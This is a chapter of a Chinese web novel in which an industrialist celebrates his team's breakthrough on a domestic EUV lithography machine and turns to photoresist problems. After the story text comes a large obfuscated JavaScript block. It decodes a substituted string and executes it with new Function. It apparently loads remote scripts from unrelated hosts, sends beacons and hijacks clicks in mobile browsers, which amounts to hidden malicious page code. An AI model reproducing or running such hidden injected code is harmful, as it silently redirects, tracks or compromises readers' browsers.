第593章【新的技术痛点——光刻胶】(1 / 2)

蔚蓝海岸实验室,紫星光刻机无尘工作室。

今天一早,罗晟接到消息便来到了这里,此时在这间两万多平米的无尘室,几十名工程师和罗晟都穿着工作无尘服在里面,他的手里正拿着一块晶圆流片反复观察欣赏,这尺寸间的艺术正是紫星光刻机的杰作。

站在他身边的一位工程师兴奋使然的道:“光源的转换效率达到了一致,也实现了正确的控制,团队攻克了250瓦光源,客户可以达到每小时155片晶圆吞吐量,而在实验室里,则是可以实现超过300瓦的光源功率,完成最后的测试紫星设备就可以正式出货了。”

全球几家顶尖的芯片制造商一直以来都坚持250瓦的光源功率是达成每小时155片晶圆生产量吞吐的必要条件,而ASML与光源技术供货商Cymer到现在为止还未能实现这一光源功率目标,这家公司两年前被ASML收购,但进展有限,这也是ASML在进来发展不顺的原因,虽说他们已经提前一步搞出了极紫外光刻机了。

罗晟把手里的流片交给旁边的工程师,笑道:“干得不错,我们现在可以有底气说出半导体制造设备最重要的光刻机,我们领先世界了,国内的半导体厂商拿着大把的钞票去求着ASML购买还得看对方心情这种局面,该结束了。”

在场的人听到这话也是倍感振奋,在罗晟的话音刚落后,都止不住内心的激动心情而鼓掌,为国产半导体事业里程碑式的突破而鼓掌,也为自己的事业为自己鼓掌。

两千多个日日夜夜的奋战,不为别的,就为了争一口气。

几万名工程师、研究员、几百家厂商配合,集中火力朝着一个点不断的发起火力冲击,而罗晟在这两千多个地球日照循环里,仅仅在极紫外光刻机设备的研发上就投入超过了1000亿美元,是ASML公司在极紫外光刻机研发投入的五倍之多。

但毫无疑问,这一切都是值得的。

被调来负责紫星光刻机项目的总监李淳胜道:“与业界2012年约25瓦的光源相比较而言,250瓦光源意味着十倍的进步。而ASML的工程师在简报EUV生产经济学时很无奈的表示:250瓦光源功率永远都是明年的目标,哈哈。”

国产半导体一直不如外国人,国内相关从业者的信心在很长一段时间是备受打击的,这一次的突破不但是切切实实的成果突破,也给国产半导体事业的有志之士们莫大的信心。

信念这个东西听起来有点玄,尤其是从事科技工作,但有时候真的很重要,这是士气问题。

紫星光刻机成功先于ASML公司的NXE搞定,虽然对方迟早会解决这个问题,并且也不会等太久了,但这在半导体设备领域绝对是里程碑式的事件。

因为这将打破全球半导体产业链的格局,也必将会推动整个行业进入全新的时代。

罗晟看着在场的技术员们,他能看得出每一个人此刻的内心都很难平静,道:“外面总有人一直说我们技术开发不可能成功,我们的人才不如外国人。确实花了很长的时间,很大的人力、物力和财力的投入,但我们终究还是抵达了终点,走到了外面所有人都认为不可能走到的地方。”

值得一提的是,除了达成光源功率这一里程碑,还有紫星光刻机工具跌对性能的大幅改善,以及产业界在布建紫星光刻机基础建设方面的进展也传来捷报,包括光罩、光罩护膜以及光阻剂等。

队伍里出了一些猪队友,但大部分还是靠谱的。

极紫外光刻技术的突破,意味着摩尔定律的生命再次得到延续,但这不是一家两家厂商能完成的,对于国产集成电路事业而言,外国人根本不带你玩最高端的,只给你玩他们玩剩下的。

所以罗晟打造的国产半导体产业链,只能自己一点一点的搞起来,光是资金就付出了国外竞争者的五倍之多,还需要整个半导体产业链中的材料、设备、知道等各大细分领域齐心协力,就像是团队游戏闯关一般解开一道道技术难题,才能顺利的朝着目的地前进。

这其中的困难不是三言两语就能概括的,期间团队的磨合、与上下游厂商的利益纠纷、技术上的分歧等等都是问题,都要解决。

还有在此过程中像鹏星精密这种骗钱的猪队友,这才是罗晟最气的,骗他的钱无所谓,他有的是钱,但因为这个事情而耽误了开发进度才是最无奈的。

半导体产业与其它行业最大的不同点就是需要各大细分领域一起冲关,你这里掉个链子,其它环节没问题但为了等你不得不放下脚步,在此期间只能干瞪眼,木桶效应在这个领域被放大。

显然,这对于其它环节厂商来说当然是气的骂娘。

“淳胜,你通知各技术部门负责人,十分钟后开个小会。”罗晟交代了一句便离开了紫星光刻机无尘室。

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();